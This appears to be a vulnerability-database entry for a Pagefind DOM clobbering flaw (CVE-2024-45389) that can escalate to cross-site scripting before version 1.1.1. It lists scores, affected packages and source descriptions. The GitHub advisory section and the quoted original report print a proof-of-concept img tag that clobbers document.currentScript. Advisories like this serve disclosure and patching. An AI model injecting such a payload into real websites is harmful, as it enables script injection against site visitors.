6.4medium
Pagefind DOM clobbering could escalate to Cross-site Scripting (XSS)
- Severity
- 6.4medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.42% (higher than 38% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-gprj-6m2f-j9hx
Description
Pagefind, a fully static search library, initializes its dynamic JavaScript and WebAssembly files relative to the location of the first script the user loads. This information is gathered by looking up the value of `document.currentScript.src`. Prior to Pagefind version 1.1.1, it is possible to "clobber" this lookup with otherwise benign HTML on the page. This will cause `document.currentScript.src` to resolve as an external domain, which will then be used by Pagefind to load dependencies. This exploit would only work in the case that an attacker could inject HTML to a live, hosted, website. In these cases, this would act as a way to escalate the privilege available to an attacker. This assumes they have the ability to add some elements to the page (for example, `img` tags with a `name` attribute), but not others, as adding a `script` to the page would itself be the cross-site scripting vector. Pagefind has tightened this resolution in version 1.1.1 by ensuring the source is loaded from a valid script element. There are no reports of this being exploited in the wild via Pagefind.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| CloudCannon pagefind | < 1.1.1, before 1.1.1 | CVE List |
| pagefind (npm) | before 1.1.1 | GitHub Advisory Database |
| @pagefind/default-ui (npm) | before 1.1.1 | GitHub Advisory Database |
| @pagefind/modular-ui (npm) | before 1.1.1 | GitHub Advisory Database |
| pagefind (crates.io) | before 1.1.1 | GitHub Advisory Database |
| pagefind pagefind | before 1.1.1, 1.1.1 | NVD |
All scores
| GitHub_M | 6.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H |
| GitHub | 6.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N |
| NVD | 5.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Pagefind, a fully static search library, initializes its dynamic JavaScript and WebAssembly files relative to the location of the first script the user loads. This information is gathered by looking up the value of `document.currentScript.src`. Prior to Pagefind version 1.1.1, it is possible to "clobber" this lookup with otherwise benign HTML on the page. This will cause `document.currentScript.src` to resolve as an external domain, which will then be used by Pagefind to load dependencies. This exploit would only work in the case that an attacker could inject HTML to a live, hosted, website. In these cases, this would act as a way to escalate the privilege available to an attacker. This assumes they have the ability to add some elements to the page (for example, `img` tags with a `name` attribute), but not others, as adding a `script` to the page would itself be the cross-site scripting vector. Pagefind has tightened this resolution in version 1.1.1 by ensuring the source is loaded from a valid script element. There are no reports of this being exploited in the wild via Pagefind.
GitHub Advisory Database
Pagefind initializes its dynamic JavaScript and WebAssembly files relative to the location of the first script you load. This information is gathered by looking up the value of document.currentScript.src.
It is possible to "clobber" this lookup with otherwise benign HTML on the page, for example:
<img name="currentScript" src="blob:https://xxx.xxx.xxx/ui.js"></img>
This will cause document.currentScript.src to resolve as an external domain, which will then be used by Pagefind to load dependencies.
This exploit would only work in the case that an attacker could inject HTML to your live, hosted, website. In these cases, this would act as a way to escalate the privilege available to an attacker. This assumes they have the ability to add some elements to the page (for example, img tags with a name attribute), but not others, as adding a script to the page would itself be the XSS vector.
Pagefind has tightened this resolution by ensuring the source is loaded from a valid script element. There are no reports of this being exploited in the wild via Pagefind.
Original Report
If an attacker can inject benign html, such as:
<img name="currentScript" src="blob:https://xxx.xxx.xxx/ui.js"></img>
they can clobber document.currentScript.src leading to XSS in your library.
Here is the same attack on webpack that was accepted: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
NVD (es)
Pagefind, una librería de búsqueda completamente estática, inicializa sus archivos dinámicos de JavaScript y WebAssembly en relación con la ubicación del primer script que carga el usuario. Esta información se obtiene buscando el valor de `document.currentScript.src`. Antes de la versión 1.1.1 de Pagefind, era posible "bloquear" esta búsqueda con HTML benigno en la página. Esto hará que `document.currentScript.src` se resuelva como un dominio externo, que luego será utilizado por Pagefind para cargar dependencias. Esta vulnerabilidad solo funcionaría en el caso de que un atacante pudiera inyectar HTML en un sitio web alojado y en vivo. En estos casos, esto actuaría como una forma de escalar el privilegio disponible para un atacante. Esto supone que tienen la capacidad de agregar algunos elementos a la página (por ejemplo, etiquetas `img` con un atributo `name`), pero no otros, ya que agregar un `script` a la página sería en sí mismo el vector de cross-site scripting. Pagefind ha mejorado esta resolución en la versión 1.1.1 al garantizar que la fuente se cargue desde un elemento de script válido. No hay informes de que esto se haya explotado en la práctica a través de Pagefind.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-45389 changed 2024-09-03 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-gprj-6m2f-j9hx changed 2026-02-04 | CC-BY-4.0 |
| NVD | CVE-2024-45389 changed 2026-06-17 | Public domain |